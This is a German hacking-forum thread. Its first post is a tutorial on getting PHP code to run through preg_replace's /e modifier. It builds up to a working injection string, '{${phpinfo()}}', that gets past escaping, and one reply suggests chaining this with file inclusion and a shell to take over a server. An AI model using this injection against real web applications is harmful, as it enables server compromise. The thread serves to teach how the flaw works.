Ergebnis 1 bis 6 von 6
  1. #1
    Stanley Jobson Avatar von Lidloses_Auge
    Registriert seit
    05.01.2007
    Beiträge
    750

    Standard Exploiten von preg_replace - RegEx Injection - Remote Code Execution

    Code Executions gehören seit Jahren zu den am weit verbreitesten
    Sicherheitslücken in Web-Applikationen.
    Sie tummeln sich dort, wo Befehle wie "eval", "system", "passthrough"
    etc. in einem unsicheren Kontext verwendet werden, und dem User die volle
    Kontrolle über den Server ermöglichen, sofern er denn seine Möglichkeiten
    auszuschöpfen weiß.
    Doch Code Executions sind in weitaus mehr Fällen möglich, als man zunächst
    annehmen könnte.
    Ein interessantes Beispiel dessen ist die PHP Funktion "preg_replace".

    Im Grunde ist es eigentlich nur zum substituieren von bestimmten Strings
    gedacht, indem man per RegEx Suchmuster(PCRE = Perl compatible regular expression)
    einen bestimmten String durch einen anderen ersetzt.
    Ein Beispiel dessen wäre:

    Code:
     echo preg_replace('/Perl/','C++','Als nächstes lerne ich Perl');
    Der String 'Als nächstes lerne ich Perl' wird per RegEx Suchmuster nach 'Perl'
    durchsucht, und mit dem Replacement 'C++' ersetzt.
    Code:
    Als nächstes lerne ich C++
    Dies mag einen zunächst sehr sicher vorkommen, was es in diesem Fall auch ist,
    doch besitzt die preg_replace Funktion eine Reihe von Optionen, die wir uns nun
    näher anschauen möchten.

    Einen Parameter, kennt man bereits aus Perl. Dies ist der "e" Modifizierer,
    mit dessen Hilfe man Perl Code direkt in der Kommandoleiste ausführen kann,
    wenn man den gewünschten Code mitsamt der "-e" Option übergibt.
    Einen ganz ähnlichen Effekt hat der e Modifizierer in der PHP eigenen preg_replace
    Funktion. Das Replacement wird dadurch als PHP Code interpretiert und wird, bei
    korrekter Syntax, zur Ausführung kommen.

    Ein Beispiel für einen Aufruf mit e Modifizierer:

    Code:
     echo preg_replace('/.*/e','strtoupper("$0")','Ein Test der Methode');
    Zunächst erkennen wir das gewohnte Schema...
    Der String 'Ein Test der Methode' wird durch 'strtoupper("Ein Test der Methode")'
    ersetzt. Ansich ist das nichts besonderes, doch die Option e evaluiert diesen String
    nun, sodass wir folgende Ausgabe erhalten:

    Code:
    EIN TEST DER METHODE
    Man sollte meinen, es sei nun ein leichtes, eigenen PHP Code einzuschleusen,
    und testet es zunächst wie folgt:

    Code:
     echo preg_replace('/.*/e','strtoupper("$0")','phpinfo()');
    Der e Modifizierer sollte seine gewohnte Arbeit erledigen, doch die Ausgabe spricht
    eine andere Sprache...

    Code:
    PHPINFO()
    Tatsächlich ist es so, dass man mittels der Curly Brackets Notation, den String eingrenzen
    muss, was in der Praxis dann wie folgt aussehen könnte.

    Code:
     echo ${phpinfo()};
    Beim ausführen dieses Code Schnipsels bemerken wir, dass diese Notation fehlerfrei ist,
    doch setzen wir dies nun in unsere Funktion ein geschieht folgendes:

    Code:
     echo preg_replace('/.*/e','strtoupper("$0")','${phpinfo()}');
    Code:
    Fatal error: preg_replace() [<a href='function.preg-replace'>function.preg-replace</a>]: 
       Failed evaluating code: strtoupper(&quot;${phpinfo()}&quot;) in C:\xampp\htdocs\exec.php on line 13
    Durch das Parsen des Strings kommt es offenbar zu unerwünschten Ersetzungen, sodass diese Notation
    nicht fehlerfrei evaluiert werden kann.
    Abhilfe schafft man mit einem kleinen Bypass, indem man um den String jeweils noch geschweifte Klammern
    setzt.

    Code:
     echo preg_replace('/.*/e','strtoupper("$0")','{${phpinfo()}}');
    Die Ausgabe bestätigt, dass das Ausnutzen der Lücke erfolgreich war,
    es bedurfte nur der "complex syntax" in PHP und einem kleinen Bypass.

    Viel Spaß
    Lidloses_Auge
    Quelle: http://www.novusec.com

  2. #2
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Sehr schönes Tutorial gefällt mir... Wozu man preg_replace bzw. im allgemeinen die preg_-Befehle nutzt weiß ich. Aber wo findet diese Methode bzw. diese "Manipulation" Verwedendung? Oder wofür braucht man es? Hast Du da irgendwo ein Beispiel?
    Come to the dark side - We have cookies

  3. #3
    Tsutomu Shimomura Avatar von -=Player=-
    Registriert seit
    15.02.2006
    Beiträge
    1.549

    Standard

    man kann fast jeden beliebigen php code ausführen.
    Sprich du könntest auch eine RFI einbauen und so eine Shell includen und dann vlt per LocalExploit in das system kommen.

  4. #4
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Na das klingt doch sehr nützlich. Wieder was gelernt . Echt unglaublich, was es alles gibt...
    Danke für das Tutorial Auge. Und danke für die Zusatzerklärung, Player.
    Come to the dark side - We have cookies

  5. #5
    Stanley Jobson Avatar von Lidloses_Auge
    Registriert seit
    05.01.2007
    Beiträge
    750

    Standard

    Ein wenig exotisches Wissen schadet doch nie, hoffe doch, dass es seine Anhänger finden wird.
    Ansich aber eine sehr interessante Sache

  6. #6
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Interessant ist sowas immer. Es ist immer wieder erstaunlich, auf was für Sachen man mit ein Wenig Logik doch kommt. Und Wissen, egal ob exotisch oder nicht kann selbstverständlich nie schaden. Irgendwann braucht man sowas bestimmt mal. Bietet ja sehr viele Möglichkeiten...
    Come to the dark side - We have cookies

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •